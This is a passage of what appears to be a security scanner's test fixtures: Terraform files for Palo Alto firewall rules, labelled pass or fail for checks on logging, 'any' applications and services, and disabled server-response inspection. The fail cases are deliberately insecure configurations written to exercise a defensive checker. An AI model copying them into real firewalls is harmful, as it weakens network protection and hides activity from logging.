[\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-good-rule-pass3-2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, test block with 2 passing rules\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-rule-pass4-1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-good-rule-pass4-2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyLoggingEnabled/main.tf",
    "content": "# Logging can be enabled in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n# Using \"log_end\" enables logging at session end which is in Palo Alto Networks best practices\n\n# Fails\n\n# Logging is set to false, disabling logging, which is a fail\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = false\n    }\n}\n\n# Logging is set to false, disabling logging, which is a fail\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = false\n    }\n}\n\n# Logging is set to false in the second rule, disabling logging, which is a fail\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-rule1-fail3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n    rule {\n        name = \"my-bad-rule2-fail3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = false\n    }\n}\n\n# Logging is set to false in the second rule, disabling logging, which is a fail\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-rule1-fail4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n    rule {\n        name = \"my-bad-rule2-fail4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = false\n    }\n}\n\n# Passes\n\n# Logging is set to true, enabling logging, which is a pass\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n}\n\n# Logging is set to true, enabling logging, which is a pass\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n}\n\n# Not explicitly setting the log_end attribute when creating a rule leads to the default setting of true, which ensures logging is enabled, which is a pass\nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-rule-pass3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n\n# Not explicitly setting the log_end attribute when creating a rule leads to the default setting of true, which ensures logging is enabled, which is a pass\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-rule-pass4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n\n# log_end is set to true in both rules, ensuring logging is enabled, which is a pass\nresource \"panos_security_policy\" \"pass5\" {\n    rule {\n        name = \"my-good-rule1-pass5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n    rule {\n        name = \"my-good-rule2-pass5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n}\n\n# log_end is set to true in both rules, ensuring logging is enabled, which is a pass\nresource \"panos_security_rule_group\" \"pass6\" {\n    rule {\n        name = \"my-good-rule1-pass6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n    rule {\n        name = \"my-good-rule2-pass6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n        log_end = true\n    }\n}\n\n# Not explicitly setting the log_end attribute when creating a rule leads to the default setting of true, which ensures logging is enabled, which is a pass for both rules\nresource \"panos_security_policy\" \"pass7\" {\n    rule {\n        name = \"my-good-rule1-pass7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-good-rule2-pass7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n\n# Not explicitly setting the log_end attribute when creating a rule leads to the default setting of true, which ensures logging is enabled, which is a pass for both rules\nresource \"panos_security_rule_group\" \"pass8\" {\n    rule {\n        name = \"my-good-rule1-pass8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-good-rule2-pass8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyNoApplicationAny/main.tf",
    "content": "# The \"applications\" attribute can be defined in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n\n# Note: Not explicitly setting the applications attribute when creating a rule is not valid, the applications attribute is mandatory and will fail Terraform validation at plan stage, so this is not covered in test cases\n\n# Note: Setting an applications list item of \"any\" alongside other applications is not valid, \"any\" must be used on it's own, and if used in a list alongside other application names and will fail Terraform validation at apply stage, so this is not covered in test cases\n\n# Application is set to any, which is a fail as it is overly permissive\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to any, which is a fail as it is overly permissive\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to non-any in the first rule, but any in the second rule, which is a fail as it is overly permissive\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-fail3-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-bad-fail3-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to non-any in the first rule, but any in the second rule, which is a fail as it is overly permissive\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-fail4-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-bad-fail4-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to a non-any value, which is a pass\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to a non-any value, which is a pass\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to a non-any value in both rules, which is a pass\nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-pass3-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass3-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to a non-any value in both rules, which is a pass\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-pass4-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass4-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to multiple non-any values, which is a pass\nresource \"panos_security_policy\" \"pass5\" {\n    rule {\n        name = \"my-good-rule-pass5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Application is set to multiple non-any values, which is a pass\nresource \"panos_security_rule_group\" \"pass6\" {\n    rule {\n        name = \"my-good-rule-pass6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyNoDSRI/main.tf",
    "content": "# The DSRI setting can be applied in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n\n# DSRI is set to true, disabling server-to-client inspection, which is a fail\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = true\n    }\n}\n\n# DSRI is set to true, disabling server-to-client inspection, which is a fail\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = true\n    }\n}\n\n# DSRI is set to true in the second rule, disabling server-to-client inspection, which is a fail\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-fail3-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n    rule {\n        name = \"my-bad-fail3-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = true\n    }\n}\n\n# DSRI is set to true in the second rule, disabling server-to-client inspection, which is a fail\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-fail4-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n    rule {\n        name = \"my-bad-fail4-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = true\n    }\n}\n\n# DSRI is set to false, ensuring server-to-client inspection is enabled, which is a pass\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n}\n\n# DSRI is set to false, ensuring server-to-client inspection is enabled, which is a pass\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n}\n\n# Not explicitly setting the DSRI attribute when creating a rule leads to the default setting of false, which ensures server-to-client inspection is enabled, which is a pass\nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-rule-pass3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Not explicitly setting the DSRI attribute when creating a rule leads to the default setting of false, which ensures server-to-client inspection is enabled, which is a pass\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-rule-pass4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# DSRI is set to false in both rules, ensuring server-to-client inspection is enabled, which is a pass\nresource \"panos_security_policy\" \"pass5\" {\n    rule {\n        name = \"my-good-pass5-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n    rule {\n        name = \"my-good-pass5-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n}\n\n# DSRI is set to false in both rules, ensuring server-to-client inspection is enabled, which is a pass\nresource \"panos_security_rule_group\" \"pass6\" {\n    rule {\n        name = \"my-good-pass6-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n    rule {\n        name = \"my-good-pass6-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"any\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        disable_server_response_inspection = false\n    }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyNoServiceAny/main.tf",
    "content": "# The \"services\" attribute can be defined in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n\n# Note: Not explicitly setting the services attribute when creating a rule is not valid, the services attribute is mandatory and will fail Terraform validation at plan stage, so this is not covered in test cases\n\n# Note: Setting an services list item of \"any\" alongside other services is not valid, \"any\" must be used on it's own, and if used in a list alongside other services names and will fail Terraform validation at apply stage, so this is not covered in test cases\n\n# Services is set to any, which is a fail as it is overly permissive\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to any, which is a fail as it is overly permissive\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to non-any in the first rule, but any in the second rule, which is a fail as it is overly permissive\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-fail3-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-bad-fail3-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to non-any in the first rule, but any in the second rule, which is a fail as it is overly permissive\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-fail4-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-bad-fail4-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to a non-any value, which is a pass\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to a non-any value, which is a pass\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        